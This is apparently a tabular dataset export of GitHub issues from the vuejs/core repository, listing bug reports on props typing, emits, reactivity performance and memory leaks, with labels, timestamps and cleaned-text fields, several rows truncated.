[vue3.2.31代码](https://deploy-preview-5679--vue-sfc-playground.netlify.app/#eyJBcHAudnVlIjoiPHNjcmlwdCBzZXR1cD5cbmltcG9ydCB7IHJlZiwgdmVyc2lvbiwgY29tcHV0ZWQsIHdhdGNoLCByZWFjdGl2ZSwgdW5yZWYgfSBmcm9tICd2dWUnXG5jb25zdCB3YXRjaE51bWJlciA9IHJlZigxKVxuY29uc3QgY29tcHV0ZWROdW1iZXIgPSByZWYoMSlcbmNvbnN0IGNsaWNrTnVtYmVyID0gcmVmKDEpXG5jb25zdCBwcm9wc1JlZiA9IHJlYWN0aXZlKHtcbiAgZmlyc3RGbG9vcjoge1xuICAgIHR3b0Zsb29yOiB0cnVlXG4gIH1cbn0pXG5jb25zdCBnZXROZXdQcm9wc1JlZiA9IGNvbXB1dGVkKCgpID0+IHtcbiAgY29tcHV0ZWROdW1iZXIudmFsdWUrK1xuICBjb25zdCB7IGZpcnN0Rmxvb3IgfSA9IHVucmVmKHByb3BzUmVmKVxuICBjb25zdCB7IHR3b0Zsb29yIH0gPSBmaXJzdEZsb29yXG4gIHJldHVybiB0d29GbG9vclxufSlcblxud2F0Y2goXG4gICgpID0+IFt1bnJlZihnZXROZXdQcm9wc1JlZildLFxuICAoKSA9PiB7XG4gICAgd2F0Y2hOdW1iZXIudmFsdWUrK1xuICB9XG4pXG5jb25zdCBhYWFDbGljayA9ICgpID0+IHtcbiAgY2xpY2tOdW1iZXIudmFsdWUrK1xuICBwcm9wc1JlZi5maXJzdEZsb29yID0geyB0d29GbG9vcjogdHJ1ZSB9XG59XG48L3NjcmlwdD5cblxuPHRlbXBsYXRlPlxuICA8ZGl2IHN0eWxlPVwiY29sb3I6cmVkXCI+IHZ1ZeeJiOacrHt7IHZlcnNpb24gfX08L2Rpdj5cbiAgPGJ1dHRvbiBAY2xpY2s9YWFhQ2xpY2s+XG4gICAg54K55Ye7XG4gIDwvYnV0dG9uPlxuICA8ZGl2PiBjbGlja051bWJlcjp7eyBjbGlja051bWJlciB9fTwvZGl2PlxuICA8ZGl2PiBjb21wdXRlZE51bWJlcjp7eyBjb21wdXRlZE51bWJlciB9fTwvZGl2PlxuICA8ZGl2PiB3YXRjaE51bWJlcjp7eyB3YXRjaE51bWJlciB9fTwvZGl2PlxuPC90ZW1wbGF0ZT4iLCJpbXBvcnQtbWFwLmpzb24iOiJ7XG4gIFwiaW1wb3J0c1wiOiB7XG4gICAgXCJ2dWVcIjogXCJodHRwczovL2RlcGxveS1wcmV2aWV3LTU2NzktLXZ1ZS1zZmMtcGxheWdyb3VuZC5uZXRsaWZ5LmFwcC92dWUucnVudGltZS5lc20t... [TRUNCATED]",,2025-04-27 07:41:30+00:00,2025-04-27 07:55:26+00:00,1,nan,0.0097,vue x x watch vue version vue truncated,others,0.0
vuejs/core,3020994654,JSDoc generation does not work with <script setup>,"### Vue version

3

### Link to minimal reproduction

http://

### Steps to reproduce

write JSDoc in script setup

### What is expected?

JSDoc got parsed correctly

### What is actually happening?

JSDoc left out

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-25 20:41:14+00:00,2025-04-26 12:56:40+00:00,1,nan,0.6774,jsdoc generation does not work with vue version link to http write jsdoc in script setup what is expected jsdoc got parsed correctly what is actually happening jsdoc left out system info any additional comments no response,documentation,-0.296
vuejs/core,3020669817,defineEmits macro only works when assigned to variable,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNkUFLAzEQhf/KkFMLdRcpXtZtUUuvCu3BgxFZN7M1ujsJSbYIpf/dSbaVoii9JZn3vnmZ2Ylba7Ntj6IQpa+dtgE8ht5CW9FmJkXwUswlSWp6qoM2BA2NsNNhDDtJAI7FjiC+XEvaR2Wew9I54yTVhnyA4CryjXEdKphFu8JGEy7Z4ssE2VatVos37ogFPL0a02JFz4ybj8Zjxibmo3EfPp4GauzIuB8s1v1Jy/PIY9wR8StY+lfqV+bDMNLXy4CdbauAfANYYYMOqcb0yeI0AWgPZMLhScEFrBEhNuMMEXoCEhOeLZcavcnevSFeQJqFFPgZkBTPveDLDe8mPwq/D5kyXXJJMRlMtemsbtE92LikZE64WAuV22AYeMv1PfMPtljsjOo53H/FFXL+PnIH2V1PiltJEWX7QwDOuTgrwzS7Sj5eL8/gZYvOs5q/z4Xscir2X8+I4YI=

### Steps to reproduce

````vue
<script setup lang=""ts>
// Error
const transformed = fn(defineEmits<{
  validChange: [boolean]
}>());

// Works
const emit = defineEmits<{
  validChange: [boolean]
}>();
const transformed = fn(emit);
</script>
````

### What is expected?

Using the result of `defineEmits()` as a function argument without assigning it to a variable first.

In my case I transform the return `emit` instance to individual event functions.

### What is actually happening?

````txt
ReferenceError: defineEmits is not defined
    setup about:srcdoc line 63 > injectedScript:20
    callWithErrorHandling https://cdn.jsdelivr.net/npm/@vue/runtime-dom@3.5.13/dist/runtime-dom.esm-browser.js:2334
    setupStatefulComponent https://cdn.jsdelivr.net/npm/@vue/runtime-dom@3.5.13/dist/runtime-dom.esm-browser.js:9982
    setupComponent https://cdn.jsdelivr.net/npm/@vue/runtime-dom@3.5.13/dist/runtime-dom.esm-browser.js:9943
    mountComponent ... [TRUNCATED]",,2025-04-25 17:49:07+00:00,2025-04-26 07:45:56+00:00,3,nan,0.5811,defineemits macro only works when assigned to variable vue version link to what is expected using the result of as a function argument without assigning it to a variable first in my case i transform the return instance to individual event functions what is actually happening txt referenceerror defineemits is not defined setup about srcdoc line injectedscript callwitherrorhandling setupstatefulcomponent setupcomponent mountcomponent truncated,others,-0.3612
vuejs/core,3019151935,Type inference failure in defineProps when using generic type aliases for function props,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU8tu2zAQ/BWCl9hAareSTqqsoI8UaA910PbIiyyvHKYUSZCU48DQv3dJRrGMWDn0InB2ZpdDcnSkn7Re7DugOS0ctFpUDkomCSm2fB8WuPyiWk2WZyhv5IcVo/hl1IMkgCSCNIA0giyADEGcUCzj5GI52g+hrQ3XjlhwnSaikjvsc5ZRZHmrlXEkbNwY1ZKrxdIDb/zqI5O1ktYR9EJWZDYnq5I0lbAwYpJJJp1ksldMsYwm0RK9RnOobPhu8WCVxPs7+tMxWqMxLsCsteM4idGcBMZzlRDq8UeoOdPB9VCv76H+e6H+YA++xuidAQtmD4y+cK4yO3CRvv39Ew64fiFbte0Eqt8gf4FVovMeo+xzJ7doe6QLbr+Hu+dy98feHhxIOxzKG/XKPugZxbfwbzJ19JPddJGFPiZ7vMXhHS8GkFj3JACD0GI3l+82yjnV5iR5r/FihkD6PB2P4f37fojXOZNMMukkk50x/xFb96SBfOukzxHHrpzIrt2ACZnaKCWgkpiqQZYU6/IkXU+ofCqDOM4qkRoiq43SFulH7u6/QlN1wtmZ976Fhku483Tx/CB4WTe5H4T9EScRjwdHIr3J37IfRVnszkKhL2fzkIrTZvnzrzSKN255sZperGavqj548/FfSft/9JKE/g==

### Steps to reproduce

When defining props using defineProps with function types that utilize generic type aliases, the compiled prop type incorrectly becomes null instead of Function. This occurs specifically when using:

Generic type aliases (Fun2<number> in reproduction)

Type aliases referencing generic types (Fun4 in reproduction)

![Image](https://github.com/user-attachments/assets/c80b457c-69ef-43c8-846d-df542347b6c8)

Can see that fn2 and fn4 are null in type

### What is expected?

All default function should be Function type

### What is actually happening?

![Image](https://github.com/user-attachments/assets/57ab0bc1-7c36-4a92-80c9-caa28cc41da2)
fn2 and fn4 both became boolean

### System Info

```shell

```

### Any additional c... [TRUNCATED]","scope: compiler,scope: sfc,:hammer: p3-minor-bug",2025-04-25 06:47:52+00:00,2025-05-16 00:32:14+00:00,0,"scope: compiler,scope: sfc,:hammer: p3-minor-bug",20.7391,type inference failure in defineprops when using generic type aliases for function props vue version link to when defining props using defineprops with function types that utilize generic type aliases the compiled prop type incorrectly becomes null instead of function this occurs specifically when using generic type aliases fun in reproduction type aliases referencing generic types fun in reproduction image can see that fn and fn are null in type what is expected all default function should be function type what is actually happening image fn and fn both became boolean system info any additional c truncated,bug,0.5106
vuejs/core,3018882264,页面加载 v-if 只有第一次加载生效,"### Vue version

1.6

### Link to minimal reproduction

1

### Steps to reproduce

1

### What is expected?

1

### What is actually happening?

1

### System Info

```shell

```

### Any additional comments?

1",,2025-04-25 03:16:19+00:00,2025-04-25 03:19:32+00:00,1,nan,0.0022,v if vue version link to what is expected what is actually happening system info any additional comments,others,0.0
vuejs/core,3017610357,Iterator helpers removed after conversion to Ref,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-mzgojv7d?file=src%2FApp.vue

### Steps to reproduce

1. Create a Ref containing a `Set` or `Map`
2. Access the Set with `.value`
3. Create an Iterator from the Set with `.values()`
4. Use one of the Iterator instance methods as shown [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Iterator)

### What is expected?

The Iterator instance methods should work as expected and outlined in the MDN docs

### What is actually happening?

The Iterator instance methods aren't found

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-24 15:09:11+00:00,2025-04-24 23:59:00+00:00,2,nan,0.3679,iterator helpers removed after conversion to ref vue version link to create a ref containing a or access the set with create an iterator from the set with use one of the iterator instance methods as shown here what is expected the iterator instance methods should work as expected and outlined in the mdn docs what is actually happening the iterator instance methods aren t found system info any additional comments no response,help,0.4767
vuejs/core,3015399657,Optional prop with default may incorrectly be undefined in template when `exactOptionalPropertyTypes` and `strictNullChecks` are true,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8Fu2zAM/RVOpxZobAzbyXAzbGkP26Er1mC76GLYdOxWljSJblIY/vdRcltnadMiF4nv+eXxiRzEV2uT+x5FJnJfutYSeKTegir05lwK8lIspW47axzBynQWamc6kCJJwy18K4XUUpdGewLrjPVwDtuWmgusi16RP2GYKqxbjdcBzodQkOTJtXrzZ2Z+yWCqBXxcnpyehcMxdsYmWDUcfxcq2Ij0UepTqfN06oa984Wws6og5BtA3nxcDsPjP+3pwTjmKWOR82GxgAuDHrQh2Bp3B4vFhMQMMod/+9ZhdRNVOKgXclKks9S6QaiNUmbLpKjn3xOMSSZHZPN0ryVxxs/E8dftJrn1RvNbcmbA8ZQs3Sp0Py21/DxSZBCRgBXBzY9YI9cjZzfVywbLu1fqt34XalJcO/To7qe8J4wKt0G2FuDLmyvc8fkZ7EzVK2a/Af5Cb1QfPE60b72u2PYeL7r9HqeQ81j7yx2h9k9NPRqNPx4VKXBXlDR1XagwdOjoYf1g8WVfIeGSrnqlVqHzZ0LAx8iSgoc8vNKxKOf2PyWf43dSj/wqTwvyznIdrAbA/7MwL0VYiYPRfm24V02rqrirRqOedpLdDge687zvTZMY/wHSU2oA

### Steps to reproduce

1. In your `tsconfig.json`, under `compilerOptions`, enable `exactOptionalPropertyTypes` and `strictNullChecks`
    - Note: Setting `""strict"": true` will also enable `strictNullChecks` and cause the issue
2. In a component, create an optional prop that has a default value
Example:
```js
const props = withDefaults(
	defineProps<{
		stringWithDefault?: string
	}>(),
	{
		stringWithDefault: ""defaultValue"",
	}
)
```
3. Pass that variable to another component as a prop that is required (line 17 in the reproduction)
4. Notice the error:
```
Type 'string | undefined' is not assignable to type 'string'.
  Type 'undefined' is not assignable to type 'string'.ts(2322)
```
...even though it is impossible for the variable to ever be undefined.

5. To confirm, p... [TRUNCATED]","scope: types,has workaround",2025-04-23 22:41:39+00:00,2025-04-25 20:55:22+00:00,1,"scope: types,has workaround",1.9262,optional prop with default may incorrectly be undefined in template when and are true vue version v link to in your under enable and note setting will also enable and cause the issue in a component create an optional prop that has a default value example pass that variable to another component as a prop that is required line in the reproduction notice the error even though it is impossible for the variable to ever be undefined to confirm p truncated,others,0.5106
vuejs/core,3010548371,No override props value in component,"### Vue version

Vue 3 @latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqVVM1u2zAMfhXOGOAWSG0M28nzOixFD9thK7YefVFkxlGjSIYkpy6CvPso2k4TIO3Wk0XyI/nxx9wl39o223aYFEnppVNtAC1M86VKgq8S8Bi69royatNaF+AefZjbHpbObiDN8lGOAdLPlSnzIQQ5kBBw02oRkCSAslZbftBz9eH6TounxtnO1GVO4mjwKIOyZhRJMeUrauHWxGkptEeilU8e+bFLmQ9JyvwodTKjSqQ1S9VkD94aKnQXwVUi7aZVGt2vNkagagtgS7QJre3jD9YF1+Fs0ssVyvUZ/YPvo65K7hx6dFsiebAF4RoMg/n2z0/s6X0wbmzdaUK/YvyN3uouchxgc+oa0T7CMdvvPCJlmnt/2wc0fioqEo3IPeOrhIZ180rpz3Q/Zp/YrzJ76mKcxemmPO/FDmpcKsNxrUETYD/uyLgZlcGekYQTnebvMf6C07fOtv5AJc68gLm1GgUFmArglbxg6Axk6C8nPA2ZGoWZts1FyvZ0NoS8PAMgTzJH/6lGevxjgaGQWnhPi7gDrZpVKOBdZDljrhQkGfdyRw2Jmq+Qxm8KBaTskMKeUr2wqiT68KTjM2N3Lmwh5Hr4Va6k1dYVsNCkoqaSzboaSRNWygDVpmqQnXPU0JsIZczo9LhSAUlB6Sk8k3kp/gR9U/yJFMWnLnIZ49KMB+Lowpy5Kicn5T/uyXgcYHu1UKamibwXIbh4sqZbwWs/nIrTg7D/C8g6rHA=

### Steps to reproduce

See [playground](https://play.vuejs.org/#eNqVVM1u2zAMfhXOGOAWSG0M28nzOixFD9thK7YefVFkxlGjSIYkpy6CvPso2k4TIO3Wk0XyI/nxx9wl39o223aYFEnppVNtAC1M86VKgq8S8Bi69royatNaF+AefZjbHpbObiDN8lGOAdLPlSnzIQQ5kBBw02oRkCSAslZbftBz9eH6TounxtnO1GVO4mjwKIOyZhRJMeUrauHWxGkptEeilU8e+bFLmQ9JyvwodTKjSqQ1S9VkD94aKnQXwVUi7aZVGt2vNkagagtgS7QJre3jD9YF1+Fs0ssVyvUZ/YPvo65K7hx6dFsiebAF4RoMg/n2z0/s6X0wbmzdaUK/YvyN3uouchxgc+oa0T7CMdvvPCJlmnt/2wc0fioqEo3IPeOrhIZ180rpz3Q/Zp/YrzJ76mKcxemmPO/FDmpcKsNxrUETYD/uyLgZlcGekYQTnebvMf6C07fOtv5AJc68gLm1GgUFmArglbxg6Axk6C8nPA2ZGoWZts1FyvZ0NoS8PAMgTzJH/6lGevxjgaGQWnhPi7gDrZpVKOBdZDljrhQkGfdyRw2Jmq+Qxm8KBaTskMKeUr2wqiT68KTjM2N3Lmw... [TRUNCATED]",,2025-04-22 09:46:08+00:00,2025-04-22 13:57:26+00:00,0,nan,0.1745,no override props value in component vue version vue latest link to see playground truncated,others,0.0516
vuejs/core,3010248896,comp name startwith`_` will render error,"### Vue version

lastest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1PwzAM/StRLrtMrSo4TR0SoB3gAAg4RqqqzCsZaRLlY1Sa+t9x0rVM7OMU2+/Zfrazp/fGZLsAdEFLx60wnjjwwdwxJVqjrScVJxurWzLL8kfdJvJsAvlZkGvlECNLTB69Cusskc9UmQ+NsAU6Hlojaw/oEVJynh+Mw1tNxmCV+VECnVPvsPxGNNnWaYVD7COZUY5ihAT7arzA9owuSEIiVkupf55TzNsA8zHOv4B/n4lvXRdjjL5ZcGB3wOiE+do24Ad49fECHdoT2Op1kMi+Ar6D0zJEjQPtIag1yj7iJbVPadtCNZ9u1XlQbhwqCo3MPvEZxf3HO1wa/U/uTXab8pjqcYvj7U5+wZVbFUXx/xz9L7jlwuc=

### Steps to reproduce

1. check render result

### What is expected?

render successful

### What is actually happening?

render error without warning

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-22 07:51:38+00:00,2025-04-22 13:51:46+00:00,1,nan,0.2501,comp name startwith will render error vue version lastest link to check render result what is expected render successful what is actually happening render error without warning system info any additional comments no response,bug,-0.3322
vuejs/core,3006753315,Detached elements hold by stale __vnode (dev only),"### Vue version

3.5.13

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9kctuwjAQRX/F8ipINIDaFQqR+mDRLtqqZelNFCaJqWNbfgQklH/vTFIoC8QmGs89ub4zPvJHa9MuAl/yLEBrVREgF5qxbCu7PJvR93ykAstmwbo7Wa0E943ZC45YsxipPz6bXXhlvnTSBuYhRItn2VrjAjsyBxXrWeVMywTHDIILLXRptEcYndmKkCS4CBNS0GAjWzAxJMmErXJ2pDuJTLtCRUC+KpQH6pKLUZAqUyeCvxiN7mjST9liPp9jlc3GWDmf8uARr2Sd7rzRuInBV/DStFYqcB82SLQTfDneSFqhlNm/DT3KNz31ywbKnyv9nT9QT/BPBx5ch3HOWihcDWGU19/vcMD6LLZmGxXSN8QvwFEjZRyxp6i3GPuCG9K+DnuXut749SGA9qehKCiR/cAPT/F8Y/T/uPfpw/Af7pX3v/sswD0=)

### Steps to reproduce

1. Open DevTools and navigate to console tab
2. Wait until the console logs ""Done"", then navigate to memory tab
3. Take a heap snapshot and filter using ""detached \<h1\>""

### What is expected?

Detached \<h1\> shouldn't show up in the memory profile

### What is actually happening?

Detached \<h1\> shows up in the memory profile

### System Info

```shell

```

### Any additional comments?

_No response_",:exclamation: p4-important,2025-04-20 02:05:09+00:00,2025-05-01 09:54:41+00:00,0,:exclamation: p4-important,11.3261,detached elements hold by stale vnode dev only vue version link to playground open devtools and navigate to console tab wait until the console logs done then navigate to memory tab take a heap snapshot and filter using detached what is expected detached shouldn t show up in the memory profile what is actually happening detached shows up in the memory profile system info any additional comments no response,others,-0.6369
vuejs/core,3002307781,性能问题,"### Vue version

所有版本

### Link to minimal reproduction

 https://feng3d.com/reactivity/#复杂情况取值

### Steps to reproduce


示例： https://feng3d.com/reactivity/#复杂情况取值

| 运行库 | 性能(ms) | 速度(x) |
| --- | --- | --- |
| @feng3d/reactivity | 2.8 | 286 |
| @vue/reactivity | 801 | 1 |

### 测试代码
```ts
复杂情况取值(ref, computed, 10000);

export function 复杂情况取值(ref: <T>(value?: T) => { value: T }, computed: <T>(func: (oldValue?: T) => T) => { readonly value: T }, count: number)
{
    const result = { time: undefined, values: [] };

    const b = ref(2);

    function 递归(depth = 10)
    {
        if (depth <= 0) return computed(() =>
        {
            return b.value
        }).value;

        return computed(() =>
        {
            return 递归(depth - 1) + 递归(depth - 2);
        }).value;
    }

    const cb = computed(() =>
    {
        return 递归(16);
    });

    b.value++;
    cb.value;

    const start = performance.now();
    for (let i = 0; i < count; i++)
    {
        ref(1).value++; // 添加此行代码将会导致 @vue/reactivity 版本的性能下降，而 @feng3d/reactivity 版本的性能保持不变

        cb.value;
    }
    result.time = performance.now() - start;

    result.values.push(cb.value);

    return result;
}
```

### 分析
@feng3d/reactivity自下而上的使用脏标记进行维护状态，当发生变化时只会冒泡一次到父节点，全局有变化时（ref(1).value++ 标记变化）并不会触发重新计算。
@vue/reactivity自上而下的使用版本号进行维护状态，当全局有变化时（ref(1).value++ 标记变化）每次取值时都会遍历整个树的子节点比对版本号判断是否需要重新计算。

### What is expected?

。。。

### What is actually happening?

。。。

### System Info

```shell

```

### Any addition... [TRUNCATED]",,2025-04-17 12:10:05+00:00,2025-04-17 13:28:29+00:00,1,nan,0.0544,vue version link to ms x feng d reactivity vue reactivity feng d reactivity ref value vue reactivity ref value what is expected what is actually happening system info any addition truncated,others,0.5859
vuejs/core,2999075060,Injection breaks when nesting Vue custom elements,"### Vue version

3.5.0 - 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNrlVcFu2kAQ/ZXVqpKNRIwi2gshSG3EIT00VdNbHTXIHmCpvbvaXVMkxL93dtYG2ySohx4ilQNiZ96M386bZ/b8o9bJtgI+4VObGaEds+AqPUslY6LUyjgWJaOHyoGZF1CCdImz0U03fS9lPz0dhXbYCA8OSl0sHFDbqfLdriDgZ9NR9+xrW3g+5M5mSi7FKtlYJZHp3ndJeaZKLQowD9oJJW3KJ4wyPrcoCvX7M8WcqWDYxLM1ZL9eiG/szsdS/tWABbOFlB9zbmFW4EJ6/vgFdvj7mCxVXhWIvpD8BlYVlecYYJ8qmSPtFo7Y3tM4hVx9t/OdA2mbS3miHnkgfMpRrrsLVz/RHSfvqS6VB5xiT0OcYy3gnuWwFBLuKutUWSPYgS2NKsPjUo6K9tFIQcnLSCE3kF0CrM9zqUSxrWO0FA2Z25coxv5yPTJxPQZa4njQTIWx0NSuFwZybBeYxVEIRANa6BOOHt6C0fkMJfzat1B0JlSDM0jDSIZEbmfsRxP1n3Uc5WIbDc+i62sMRiQWqy0RDepN6ZU+PxL7CXu3D/c4PL+GpH4eSDd5HUdO9ji6Sxf31D5gCUEa20aDJvdUTwnXDr9CTS1DsHFlAN868ULrlj54SrRRW5HDURWcw5k+HVyQBWFdfcKTUxmUyNo7Y5OwMHXtkf2ws2+DG/RL76X21v1Cavy3fiGx3q5f/oEnTru+BWNEnoO86o+5UxCmiwWnMf+1ObrWHnaWi8zxE0n4Pyh0xTj5kFyP+eEPRwulpQ==

### Steps to reproduce

Create two custom elements using Vue's `defineCustomElement` (`outer-component` and `inner-component`). In both `defineCustomElement` calls, use `configureApp` to `provide` a value. Then, nest `inner-component` within `outer-component`.

### What is expected?

I expect that both custom elements get their own isolated injection scope. Values that are provided on `inner-component` are not visible on `outer-component`, and vice versa.

Or, even if `inner-component` has access to the values provided by `outer-component`, I expect that it definitely has access to the values provided on `inner-component` a... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-04-16 09:42:23+00:00,2025-05-16 00:07:33+00:00,2,":hammer: p3-minor-bug,scope: custom elements",29.6008,injection breaks when nesting vue custom elements vue version link to create two custom elements using vue s and in both calls use to a value then nest within what is expected i expect that both custom elements get their own isolated injection scope values that are provided on are not visible on and vice versa or even if has access to the values provided by i expect that it definitely has access to the values provided on a truncated,bug,0.9001
vuejs/core,2998988383,Detached elements due to cached static vnodes,"### Vue version

3.5.13

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9UstOwzAQ/BXjS0CCRAhOVVpeqgQcAFGOvpR007p1bMuPtlKUf2fXaUuRgJPtmdnxrNctv7M2X0fgA176ykkbmIcQ7Uho2VjjAmuZg5p1rHamYRlKswP1YBq7w/OCDuSEtNCV0R6dFmbDhlR/GlyEM6HLor8E7fEQoLFqGgBPjJWfMQSj2W2lZLUaCr6rPqFV8FHb9n43LHuUM8jYgGUTBDLWdWXRF/dGKdb6QtY7EywmyGjQoUw5UVcWR7fzcx48Zq7lPF96o/E1WrISvEK1VOBebZDYk+ADlhjipkqZzXPCqL3zPV4toFr9gi/9ljDB3xx4cGsQ/MCFqZtD6Onx5AW2uD+QjZlFhep/yHfwRkXK2Mvuo55h7CNdSvuUBif1/MOPtwG03zdFQUnZJb3gOEh6qL9a/457lV+nOqE7fMX9J6Dv9HO6i8u04s4rE0b4EWhJVJG4o4Hw7gvcxNvA)

### Steps to reproduce

1.  Open DevTools and navigate to memory tab
2.  Click ""Hide"" button
3.  Take a heap snapshot and filter using ""detached \<h1\>""

### What is expected?

Detached \<h1\> shouldn't show up in the memory profile.

### What is actually happening?

Detached \<h1\> shows up in the memory profile.

### System Info

```shell
Chrome 135.0.7049.85
```

### Any additional comments?

_No response_","has workaround,:exclamation: p4-important",2025-04-16 09:09:16+00:00,2025-05-01 09:55:37+00:00,2,"has workaround,:exclamation: p4-important",15.0322,detached elements due to cached static vnodes vue version link to playground open devtools and navigate to memory tab click hide button take a heap snapshot and filter using detached what is expected detached shouldn t show up in the memory profile what is actually happening detached shows up in the memory profile system info any additional comments no response,others,-0.7096
vuejs/core,2998953325,Detached elements casued by getting computed value in ref function,"### Vue version

3.5.13

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9Ustu2zAQ/JUtL7IB10LQngzZfSFA20NbND0SKBRpZTORSIEPx4DAf+8uJdlu0eQikTuzsw/OID70/foYUGxE4Sqreg8Ofeh3UquuN9bDABYbiNBY00FG1OwMfTJdP8XXOV9YiWCpK6MdKR3ME2w5f+FtwKXURT4WIXm6eOz6tvRIN4DiPnhvNLyvWlU9bqWYsl/xX4rdMIx67yD7rGrMYAPZHQUyiLHIx+RRKLV1fK2aSYSSi9QewUV+VVSshHfUaqP26wdnNC1hYAUpKmKrFu333isaRYoNJISxsm3N09cU46lWc7w6YPX4n/iDO3FMih8WHdojSnHGfGn36Ef49u4bnuh8BjtTh5bYL4A/0Zk2cI8j7WPQNbV9xUvdfknvpfT+l7s9edRuHoobZWZMfCno/XhRz41+affN+m3KkzrSFue3v7jo2j+8zOCx/sdEeEp4jU0ZWuKxXvLe4veKsrBTHuJyLj46qjGGLDELLhZL2O5giOSsC+e+tMSZoElmGiB9LdWwetYF1hyPicWboMNLRj3cwIY8Te6ai3BbkWzGezAatS/yw83fbhPxD8fFH+g=)

### Steps to reproduce

1.  Open DevTools and navigate to memory tab
2.  Click ""Hide"" button
3.  Take a heap snapshot and filter using ""detached \<h1\>""

### What is expected?

Detached \<h1\> shouldn't show up in the memory profile.

### What is actually happening?

Detached \<h1\> shows up in the memory profile.

### System Info

```shell
Chrome 135.0.7049.85
```

### Any additional comments?

_No response_",:exclamation: p4-important,2025-04-16 08:55:42+00:00,2025-05-01 09:56:44+00:00,0,:exclamation: p4-important,15.0424,detached elements casued by getting computed value in ref function vue version link to playground open devtools and navigate to memory tab click hide button take a heap snapshot and filter using detached what is expected detached shouldn t show up in the memory profile what is actually happening detached shows up in the memory profile system info any additional comments no response,others,-0.5423
vuejs/core,2997057889,TypeScript Union Type Narrowing: Mapped types on Generic Prop Narrows to Only the First Union Member,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8GO0zAQ/ZWRL12kVaJV4RLSSID2AAeoaLlZQm4yDS7JOLKdUFTy74yd3W66sLunZvzGb948v57Eu65Lhh5FJnJXWt15cOj7DhpF9UoK76QoJOm2M9bDCSyq0usBYYS9NS0s+O7i7bnhg2m7OyBJQxG4F5Ik+d8dwsa0+I20oW2oVswXjjNYqMU1qAyct5pq5v7zAO0Y2mVAfbtDC2PgKg05D5q0V83GK4+Q/UstCWYUoWKWG0kzBhfvrs5L5RckxdVswitJeToZxHZw4bHtGga4Asjj3lnkY9PirxSQMpins05xzYby7L2uk4MzxK5HnVKUTKAbtF86z+PZ9GzaIGCqacyvT/HM2x7jLvHODyx//uf84I7hTIq1RYd2YClnzCtbo5/g281nPPL3GWxN1Tfc/Qz4FZ1p+qBxanvfU8WyZ31R7ccYB37Lrbs9eiR3v1QQGjrH2C8FxyN499TqD3KXyet4jx+QXbyP1iy2l4HFY8yjJo92r0qMyVxb07l8C7wYUuXA7A5Y+mIaFx8tg7Vi3arJt0zCwy4f/al/CNRIaHXJ5WP2qKbCvSacxs+EFMXVC7mq9BA/AE6nu7iOrIqRdIIex+v7gDaYzcYskzfJzVKMfwGd/lI+

### Steps to reproduce

### 1. Create a Generic Component

Define type-based props where `state` is mapped typed. This reproduction is using the built-in `Partial<T>`.

```vue
<script lang=""ts"">
export interface CompProps<T extends object> {
  state: Partial<T>
}
</script>

<script setup lang=""ts"" generic=""T extends object"">
defineProps<CompProps<T>>()
</script>

<template>
  <div>
    {{ state }}
  </div>
</template>
```

---

### 2. Use Component

Bind a value with a union type to the `state`.

```vue
<script setup lang=""ts"">
import { reactive } from 'vue'
import Comp from './Comp.vue'

type SomeUnionType = { type: 'a', a: string } | { type: 'b', b: number }

const initialState: SomeUnionType = {
  type: 'b',
  b: 1
}

const state = reactive<SomeUnionType>(initialSta... [TRUNCATED]",scope: types,2025-04-15 16:56:21+00:00,2025-04-17 00:23:45+00:00,2,scope: types,1.3107,typescript union type narrowing mapped types on generic prop narrows to only the first union member vue version link to create a generic component define type based props where is mapped typed this reproduction is using the built in use component bind a value with a union type to the vue import reactive from vue import comp from comp vue type someuniontype type a a string type b b number const initialstate someuniontype type b b const state reactive initialsta truncated,others,0.5859
vuejs/core,2996355057,compat: ATTR_FALSE_VALUE incorrectly removes value attribute on inputs,"### Vue version

@vue/compat@3.5.13

### Link to minimal reproduction

https://codepen.io/markrian/pen/NPPKOqm

### Steps to reproduce

1. Use `@vue/compat` with the `ATTR_VALUE_FALSE` compat flag enabled.
2. Bind a `false` value to an input's `value` attribute.
3. Note that the `value` attribute is removed from the input.
4. If it's a type=text input, the `value` property is correctly coerced to `""false""`.
5. If it's a type=hidden input, the `value` property in _incorrectly_ coerced to `""""`.

### What is expected?

The `ATTR_VALUE_FALSE` should not affect behaviour of inputs that's consistently across Vue 2.x and Vue 3.x.

### What is actually happening?

The `ATTR_VALUE_FALSE` is overzealous and also drops falsy `value` attributes on inputs.

### System Info

```shell
N/A
```

### Any additional comments?

Note that both Vue 2.7.16 and Vue 3.5.13 behave the same way - the expected way. It's only the compat build with the `ATTR_FALSE_VALUE` flag that isn't behaving as expected:

- [`vue@2.7.16`](https://codepen.io/markrian/pen/gbbYBaB)
- [`vue@3.5.13`](https://codepen.io/markrian/pen/KwwPGpP)",":hammer: p3-minor-bug,scope: v2 compat",2025-04-15 13:01:15+00:00,2025-05-20 00:43:52+00:00,0,":hammer: p3-minor-bug,scope: v2 compat",34.4879,compat attr false value incorrectly removes value attribute on inputs vue version vue compat link to use with the compat flag enabled bind a value to an input s attribute note that the attribute is removed from the input if it s a type text input the property is correctly coerced to if it s a type hidden input the property in incorrectly coerced to what is expected the should not affect behaviour of inputs that s consistently across vue x and vue x what is actually happening the is overzealous and also drops falsy attributes on inputs system info any additional comments note that both vue and vue behave the same way the expected way it s only the compat build with the flag that isn t behaving as expected,bug,0.296
vuejs/core,2995857330,defineExpose not actually exposing from component,"### Vue version

3.5.13

### Link to minimal reproduction

